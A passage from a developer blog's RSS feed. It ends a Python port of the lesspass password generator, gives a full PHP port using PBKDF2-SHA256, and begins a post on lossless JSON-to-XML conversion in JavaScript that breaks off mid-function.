</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">consume_entropy</span><span class="p">(</span><span class="n">generated_password</span><span class="p">,</span> <span class="n">quotient</span><span class="p">,</span> <span class="n">set_of_characters</span><span class="p">,</span> <span class="n">max_length</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">insert_string_pseudo_randomly</span><span class="p">(</span><span class="n">generated_password</span><span class="p">,</span> <span class="n">entropy</span><span class="p">,</span> <span class="n">string</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">letter</span> <span class="ow">in</span> <span class="n">string</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">quotient</span><span class="p">,</span> <span class="n">remainder</span> <span class="o">=</span> <span class="nb">divmod</span><span class="p">(</span><span class="n">entropy</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">generated_password</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">generated_password</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">generated_password</span><span class="p">[:</span><span class="n">remainder</span><span class="p">]</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="n">letter</span> <span class="o">+</span>
</span></span><span class="line"><span class="cl">            <span class="n">generated_password</span><span class="p">[</span><span class="n">remainder</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">entropy</span> <span class="o">=</span> <span class="n">quotient</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">generated_password</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_one_char_per_rule</span><span class="p">(</span><span class="n">entropy</span><span class="p">,</span> <span class="n">rules</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">one_char_per_rules</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">rules</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">value</span><span class="p">,</span> <span class="n">entropy</span> <span class="o">=</span> <span class="n">consume_entropy</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">entropy</span><span class="p">,</span> <span class="n">CHARACTER_SUBSETS</span><span class="p">[</span><span class="n">rule</span><span class="p">],</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">one_char_per_rules</span> <span class="o">+=</span> <span class="n">value</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="n">one_char_per_rules</span><span class="p">,</span> <span class="n">entropy</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_configured_rules</span><span class="p">(</span><span class="n">password_profile</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">rules</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;lowercase&#39;</span><span class="p">,</span> <span class="s1">&#39;uppercase&#39;</span><span class="p">,</span> <span class="s1">&#39;numbers&#39;</span><span class="p">,</span> <span class="s1">&#39;symbols&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="n">rule</span> <span class="k">for</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">rules</span> <span class="k">if</span> <span class="n">rule</span> <span class="ow">in</span> <span class="n">password_profile</span> <span class="ow">and</span> <span class="n">password_profile</span><span class="p">[</span><span class="n">rule</span><span class="p">]]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">render_password</span><span class="p">(</span><span class="n">entropy</span><span class="p">,</span> <span class="n">password_profile</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">rules</span> <span class="o">=</span> <span class="n">get_configured_rules</span><span class="p">(</span><span class="n">password_profile</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">set_of_characters</span> <span class="o">=</span> <span class="n">get_set_of_characters</span><span class="p">(</span><span class="n">rules</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">password</span><span class="p">,</span> <span class="n">password_entropy</span> <span class="o">=</span> <span class="n">consume_entropy</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nb">int</span><span class="p">(</span><span class="n">entropy</span><span class="p">,</span> <span class="mi">16</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">set_of_characters</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">password_profile</span><span class="p">[</span><span class="s1">&#39;length&#39;</span><span class="p">]</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">rules</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">characters_to_add</span><span class="p">,</span> <span class="n">character_entropy</span> <span class="o">=</span> <span class="n">get_one_char_per_rule</span><span class="p">(</span><span class="n">password_entropy</span><span class="p">,</span> <span class="n">rules</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">insert_string_pseudo_randomly</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="n">character_entropy</span><span class="p">,</span> <span class="n">characters_to_add</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># should print: WHLpUL)e00[iHR+w</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span> <span class="n">generate_password</span><span class="p">(</span><span class="s1">&#39;example.org&#39;</span><span class="p">,</span> <span class="s1">&#39;contact@example.org&#39;</span><span class="p">,</span> <span class="s1">&#39;password&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>As always you can find my code on my
<a href="https://github.com/mevdschee/lesspass.py">Github</a> account.</p>
]]></content:encoded>
    </item>
    <item>
      <title>A lesspass implementation in PHP</title>
      <link>https://www.tqdev.com/2017-a-lesspass-implementation-in-php/</link>
      <pubDate>Tue, 28 Mar 2017 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-a-lesspass-implementation-in-php/</guid>
      <description>&lt;p&gt;I like the idea of &lt;a href=&#34;https://lesspass.com&#34;&gt;lesspass&lt;/a&gt;, a password manager without
a database. I&amp;rsquo;m not 100% sure that it is secure, but I am 100% sure that
passwords are a problem and that we need to solve it. This system allows you to
generate a password from a site name and a master password with certain
characteristics. To do so it applies a 100000 iteration pbkdf2 algorithm using a
SHA256 hash. It sounds good to me and I like the way that that is supposed to
work.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I like the idea of <a href="https://lesspass.com">lesspass</a>, a password manager without
a database. I&rsquo;m not 100% sure that it is secure, but I am 100% sure that
passwords are a problem and that we need to solve it. This system allows you to
generate a password from a site name and a master password with certain
characteristics. To do so it applies a 100000 iteration pbkdf2 algorithm using a
SHA256 hash. It sounds good to me and I like the way that that is supposed to
work.</p>
<h3 id="security-and-bad-practices">Security and bad practices</h3>
<p>I don&rsquo;t like the implementation of lesspass in a browser plugin. I don&rsquo;t like
browser plugins at all. Not to talk about the site widget: You should never
enter your master password in any site. I strongly advise you to not do that on
lesspass.com either. So, many complaints, but what would I like? Well, maybe we
can have an open source and standalone application that works from the system
tray (or notification area) in Linux, OSX and Windows, that would be great!</p>
<h3 id="php-implementation-of-lesspass">PHP implementation of lesspass</h3>
<p>To make some first steps towards such a tool I ported the JavaScript
implementation to PHP7 (requires php7-gmp):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="nv">$characterSubsets</span> <span class="o">=</span> <span class="p">(</span><span class="nx">object</span><span class="p">)[</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;lowercase&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;abcdefghijklmnopqrstuvwxyz&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;uppercase&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;ABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;numbers&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;0123456789&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="s1">&#39;symbols&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;!&#34;#$%&amp;\&#39;()*+,-./:;&lt;=&gt;?@[\\]^_`{|}~&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">getPasswordProfile</span><span class="p">(</span><span class="nv">$passwordProfile</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$defaultPasswordProfile</span> <span class="o">=</span> <span class="p">(</span><span class="nx">object</span><span class="p">)[</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;lowercase&#39;</span><span class="o">=&gt;</span><span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;uppercase&#39;</span><span class="o">=&gt;</span><span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;numbers&#39;</span><span class="o">=&gt;</span><span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;symbols&#39;</span><span class="o">=&gt;</span><span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;digest&#39;</span><span class="o">=&gt;</span><span class="s1">&#39;sha256&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;iterations&#39;</span><span class="o">=&gt;</span><span class="mi">100000</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;keylen&#39;</span><span class="o">=&gt;</span><span class="mi">32</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;length&#39;</span><span class="o">=&gt;</span><span class="mi">16</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;counter&#39;</span><span class="o">=&gt;</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;version&#39;</span><span class="o">=&gt;</span><span class="mi">2</span>
</span></span><span class="line"><span class="cl">  <span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="nx">object</span><span class="p">)</span><span class="nx">array_merge</span><span class="p">((</span><span class="k">array</span><span class="p">)</span><span class="nv">$defaultPasswordProfile</span><span class="p">,(</span><span class="k">array</span><span class="p">)</span><span class="nv">$passwordProfile</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">generatePassword</span><span class="p">(</span><span class="nv">$site</span><span class="p">,</span> <span class="nv">$login</span><span class="p">,</span> <span class="nv">$masterPassword</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="o">=</span><span class="k">null</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$passwordProfile</span> <span class="o">=</span> <span class="nx">getPasswordProfile</span><span class="p">(</span><span class="nv">$passwordProfile</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$entropy</span> <span class="o">=</span> <span class="nx">calcEntropy</span><span class="p">(</span><span class="nv">$site</span><span class="p">,</span> <span class="nv">$login</span><span class="p">,</span> <span class="nv">$masterPassword</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">renderPassword</span><span class="p">(</span><span class="nv">$entropy</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">calcEntropy</span><span class="p">(</span><span class="nv">$site</span><span class="p">,</span> <span class="nv">$login</span><span class="p">,</span> <span class="nv">$masterPassword</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$salt</span> <span class="o">=</span> <span class="nv">$site</span> <span class="o">.</span> <span class="nv">$login</span> <span class="o">.</span> <span class="nx">dechex</span><span class="p">(</span><span class="nv">$passwordProfile</span><span class="o">-&gt;</span><span class="na">counter</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">hash_pbkdf2</span><span class="p">(</span><span class="nv">$passwordProfile</span><span class="o">-&gt;</span><span class="na">digest</span><span class="p">,</span> <span class="nv">$masterPassword</span><span class="p">,</span> <span class="nv">$salt</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="o">-&gt;</span><span class="na">iterations</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="o">-&gt;</span><span class="na">keylen</span><span class="o">*</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">getSetOfCharacters</span><span class="p">(</span><span class="nv">$rules</span><span class="o">=</span><span class="k">null</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">global</span> <span class="nv">$characterSubsets</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$rules</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nv">$characterSubsets</span><span class="o">-&gt;</span><span class="na">lowercase</span> <span class="o">.</span> <span class="nv">$characterSubsets</span><span class="o">-&gt;</span><span class="na">uppercase</span> <span class="o">.</span> <span class="nv">$characterSubsets</span><span class="o">-&gt;</span><span class="na">numbers</span> <span class="o">.</span> <span class="nv">$characterSubsets</span><span class="o">-&gt;</span><span class="na">symbols</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$setOfChars</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">foreach</span> <span class="p">(</span><span class="nv">$rules</span> <span class="k">as</span> <span class="nv">$rule</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$setOfChars</span> <span class="o">.=</span> <span class="nv">$characterSubsets</span><span class="o">-&gt;</span><span class="nv">$rule</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nv">$setOfChars</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">consumeEntropy</span><span class="p">(</span><span class="nv">$generatedPassword</span><span class="p">,</span> <span class="nv">$quotient</span><span class="p">,</span> <span class="nv">$setOfCharacters</span><span class="p">,</span> <span class="nv">$maxLength</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">strlen</span><span class="p">(</span><span class="nv">$generatedPassword</span><span class="p">)</span> <span class="o">&gt;=</span> <span class="nv">$maxLength</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="nv">$generatedPassword</span><span class="p">,</span> <span class="nv">$quotient</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">list</span><span class="p">(</span><span class="nv">$quotient</span><span class="p">,</span><span class="nv">$remainder</span><span class="p">)</span> <span class="o">=</span> <span class="nx">gmp_div_qr</span><span class="p">(</span><span class="nv">$quotient</span><span class="p">,</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$setOfCharacters</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$generatedPassword</span> <span class="o">.=</span> <span class="nv">$setOfCharacters</span><span class="p">[(</span><span class="nx">int</span><span class="p">)</span><span class="nv">$remainder</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">consumeEntropy</span><span class="p">(</span><span class="nv">$generatedPassword</span><span class="p">,</span> <span class="nv">$quotient</span><span class="p">,</span> <span class="nv">$setOfCharacters</span><span class="p">,</span> <span class="nv">$maxLength</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">insertStringPseudoRandomly</span><span class="p">(</span><span class="nv">$generatedPassword</span><span class="p">,</span> <span class="nv">$entropy</span><span class="p">,</span> <span class="nv">$string</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nv">$i</span> <span class="o">&lt;</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$string</span><span class="p">);</span> <span class="nv">$i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">list</span><span class="p">(</span><span class="nv">$quotient</span><span class="p">,</span><span class="nv">$remainder</span><span class="p">)</span> <span class="o">=</span> <span class="nx">gmp_div_qr</span><span class="p">(</span><span class="nv">$entropy</span><span class="p">,</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$generatedPassword</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$generatedPassword</span> <span class="o">=</span> <span class="nx">substr</span><span class="p">(</span><span class="nv">$generatedPassword</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="nx">int</span><span class="p">)</span><span class="nv">$remainder</span><span class="p">)</span> <span class="o">.</span> <span class="nv">$string</span><span class="p">[</span><span class="nv">$i</span><span class="p">]</span> <span class="o">.</span> <span class="nx">substr</span><span class="p">(</span><span class="nv">$generatedPassword</span><span class="p">,</span> <span class="p">(</span><span class="nx">int</span><span class="p">)</span><span class="nv">$remainder</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$entropy</span> <span class="o">=</span> <span class="nv">$quotient</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nv">$generatedPassword</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">getOneCharPerRule</span><span class="p">(</span><span class="nv">$entropy</span><span class="p">,</span> <span class="nv">$rules</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">global</span> <span class="nv">$characterSubsets</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$oneCharPerRules</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">foreach</span> <span class="p">(</span><span class="nv">$rules</span> <span class="k">as</span> <span class="nv">$rule</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">list</span><span class="p">(</span><span class="nv">$value</span><span class="p">,</span><span class="nv">$entropy</span><span class="p">)</span> <span class="o">=</span> <span class="nx">consumeEntropy</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="nv">$entropy</span><span class="p">,</span> <span class="nv">$characterSubsets</span><span class="o">-&gt;</span><span class="nv">$rule</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$oneCharPerRules</span> <span class="o">.=</span> <span class="nv">$value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">[</span><span class="nv">$oneCharPerRules</span><span class="p">,</span> <span class="nv">$entropy</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">getConfiguredRules</span><span class="p">(</span><span class="nv">$passwordProfile</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">array_merge</span><span class="p">(</span><span class="nx">array_filter</span><span class="p">([</span><span class="s1">&#39;lowercase&#39;</span><span class="p">,</span> <span class="s1">&#39;uppercase&#39;</span><span class="p">,</span> <span class="s1">&#39;numbers&#39;</span><span class="p">,</span> <span class="s1">&#39;symbols&#39;</span><span class="p">],</span> <span class="k">function</span> <span class="p">(</span><span class="nv">$rule</span><span class="p">)</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$passwordProfile</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">isset</span><span class="p">(</span><span class="nv">$passwordProfile</span><span class="o">-&gt;</span><span class="nv">$rule</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$passwordProfile</span><span class="o">-&gt;</span><span class="nv">$rule</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}));</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">function</span> <span class="nf">renderPassword</span><span class="p">(</span><span class="nv">$entropy</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$rules</span> <span class="o">=</span> <span class="nx">getConfiguredRules</span><span class="p">(</span><span class="nv">$passwordProfile</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nv">$setOfCharacters</span> <span class="o">=</span> <span class="nx">getSetOfCharacters</span><span class="p">(</span><span class="nv">$rules</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">list</span><span class="p">(</span><span class="nv">$password</span><span class="p">,</span><span class="nv">$passwordEntropy</span><span class="p">)</span> <span class="o">=</span> <span class="nx">consumeEntropy</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="nx">gmp_init</span><span class="p">(</span><span class="nv">$entropy</span><span class="p">,</span><span class="mi">16</span><span class="p">),</span> <span class="nv">$setOfCharacters</span><span class="p">,</span> <span class="nv">$passwordProfile</span><span class="o">-&gt;</span><span class="na">length</span> <span class="o">-</span> <span class="nx">count</span><span class="p">(</span><span class="nv">$rules</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">list</span><span class="p">(</span><span class="nv">$charactersToAdd</span><span class="p">,</span><span class="nv">$characterEntropy</span><span class="p">)</span> <span class="o">=</span> <span class="nx">getOneCharPerRule</span><span class="p">(</span><span class="nv">$passwordEntropy</span><span class="p">,</span> <span class="nv">$rules</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">insertStringPseudoRandomly</span><span class="p">(</span><span class="nv">$password</span><span class="p">,</span> <span class="nv">$characterEntropy</span><span class="p">,</span> <span class="nv">$charactersToAdd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// should echo: WHLpUL)e00[iHR+w
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">echo</span> <span class="nx">generatePassword</span><span class="p">(</span><span class="s1">&#39;example.org&#39;</span><span class="p">,</span> <span class="s1">&#39;contact@example.org&#39;</span><span class="p">,</span> <span class="s1">&#39;password&#39;</span><span class="p">)</span><span class="o">.</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>There are ports to other languages as well (to
<a href="https://github.com/mevdschee/lesspass.go">Go</a> for instance and my
implementation in <a href="https://github.com/mevdschee/lesspass.py">Python</a>), but as
far as I know this is the first implementation in PHP. As always you can find my
code on my <a href="https://github.com/mevdschee/lesspass.php">Github</a> account.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Converting JSON to XML in JavaScript and PHP</title>
      <link>https://www.tqdev.com/2017-converting-json-to-xml-in-javascript-and-php/</link>
      <pubDate>Wed, 22 Feb 2017 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2017-converting-json-to-xml-in-javascript-and-php/</guid>
      <description>&lt;p&gt;In order to support databases that are better at XML than JSON (Yes, I am
talking about you SQL Server) I created some code that allows you to convert
(lossless) from JSON to XML (and back).&lt;/p&gt;
&lt;h3 id=&#34;example&#34;&gt;Example&lt;/h3&gt;
&lt;p&gt;JSON data:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &amp;quot;depth&amp;quot;: false,
  &amp;quot;model&amp;quot;: &amp;quot;TRX-120&amp;quot;,
  &amp;quot;width&amp;quot;: 100,
  &amp;quot;test&amp;quot;: [
    {
      &amp;quot;me&amp;quot;: null
    },
    2.5
  ],
  &amp;quot;height&amp;quot;: null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;XML data:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;root type=&amp;quot;object&amp;quot;&amp;gt;
    &amp;lt;depth type=&amp;quot;boolean&amp;quot;&amp;gt;false&amp;lt;/depth&amp;gt;
    &amp;lt;model type=&amp;quot;string&amp;quot;&amp;gt;TRX-120&amp;lt;/model&amp;gt;
    &amp;lt;width type=&amp;quot;number&amp;quot;&amp;gt;100&amp;lt;/width&amp;gt;
    &amp;lt;test type=&amp;quot;array&amp;quot;&amp;gt;
        &amp;lt;item type=&amp;quot;object&amp;quot;&amp;gt;
            &amp;lt;me type=&amp;quot;null&amp;quot;/&amp;gt;
        &amp;lt;/item&amp;gt;
        &amp;lt;item type=&amp;quot;number&amp;quot;&amp;gt;2.5&amp;lt;/item&amp;gt;
    &amp;lt;/test&amp;gt;
    &amp;lt;height type=&amp;quot;null&amp;quot;/&amp;gt;
&amp;lt;/root&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The functions
&lt;a href=&#34;https://github.com/mevdschee/json2xml.js/blob/master/json2xml.js&#34;&gt;&amp;rsquo;&lt;code&gt;json2xml&lt;/code&gt;&amp;rsquo; and &amp;lsquo;&lt;code&gt;xml2json&lt;/code&gt;&amp;rsquo;&lt;/a&gt;
convert from JSON to XML and back.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In order to support databases that are better at XML than JSON (Yes, I am
talking about you SQL Server) I created some code that allows you to convert
(lossless) from JSON to XML (and back).</p>
<h3 id="example">Example</h3>
<p>JSON data:</p>
<pre><code>{
  &quot;depth&quot;: false,
  &quot;model&quot;: &quot;TRX-120&quot;,
  &quot;width&quot;: 100,
  &quot;test&quot;: [
    {
      &quot;me&quot;: null
    },
    2.5
  ],
  &quot;height&quot;: null
}
</code></pre>
<p>XML data:</p>
<pre><code>&lt;root type=&quot;object&quot;&gt;
    &lt;depth type=&quot;boolean&quot;&gt;false&lt;/depth&gt;
    &lt;model type=&quot;string&quot;&gt;TRX-120&lt;/model&gt;
    &lt;width type=&quot;number&quot;&gt;100&lt;/width&gt;
    &lt;test type=&quot;array&quot;&gt;
        &lt;item type=&quot;object&quot;&gt;
            &lt;me type=&quot;null&quot;/&gt;
        &lt;/item&gt;
        &lt;item type=&quot;number&quot;&gt;2.5&lt;/item&gt;
    &lt;/test&gt;
    &lt;height type=&quot;null&quot;/&gt;
&lt;/root&gt;
</code></pre>
<p>The functions
<a href="https://github.com/mevdschee/json2xml.js/blob/master/json2xml.js">&rsquo;<code>json2xml</code>&rsquo; and &lsquo;<code>xml2json</code>&rsquo;</a>
convert from JSON to XML and back.</p>
<h3 id="javascript-and-php">JavaScript and PHP</h3>
<p>This is the function that generates XML from any JSON object and is described in
the Microsoft .net documentation as a
<a href="https://msdn.microsoft.com/en-us/library/bb924435(v=vs.110).aspx">JSON-XML mapping</a>:</p>
<pre><code>function json2xml(json) {
    var a = JSON.parse(json)
    var c = document.createElement(&quot;root&quot;);
    var t = function (v) {
        return {}.toString.call(v).split(' ')[1].slice(0, -1).toLowerCase();
    };
    var f = function (f, c, a, s) {
        c.setAttribute(&quot;type&quot;, t(a));
        if (t(a) != &quot;array&quot; &amp;&amp; t(a) != &quot;object&quot;) {
            if (t(a) != &quot;null&quot;) {
                c.appendChild(document.createTextNode(a));
            }
        } else {
            for (var k in a) {
                var v = a[k];
                if (k == &quot;__type&quot; &amp;&amp; t(a) == &quot;object&quot;) {
                    c.setAttribute(&quot;__type&quot;, v);
                } else {
                    if (t(v) == &quot;object&quot;) {
                        var ch = c.appendChild(document.createElementNS(null, s ? &quot;item&quot; : k));
                        f(f, ch, v);
                    } else if (t(v) == &quot;array&quot;) {
                        var ch = c.appendChild(document.createElementNS(null, s ? &quot;item&quot; : k));
                        f(f, ch, v, true);
                    } else {
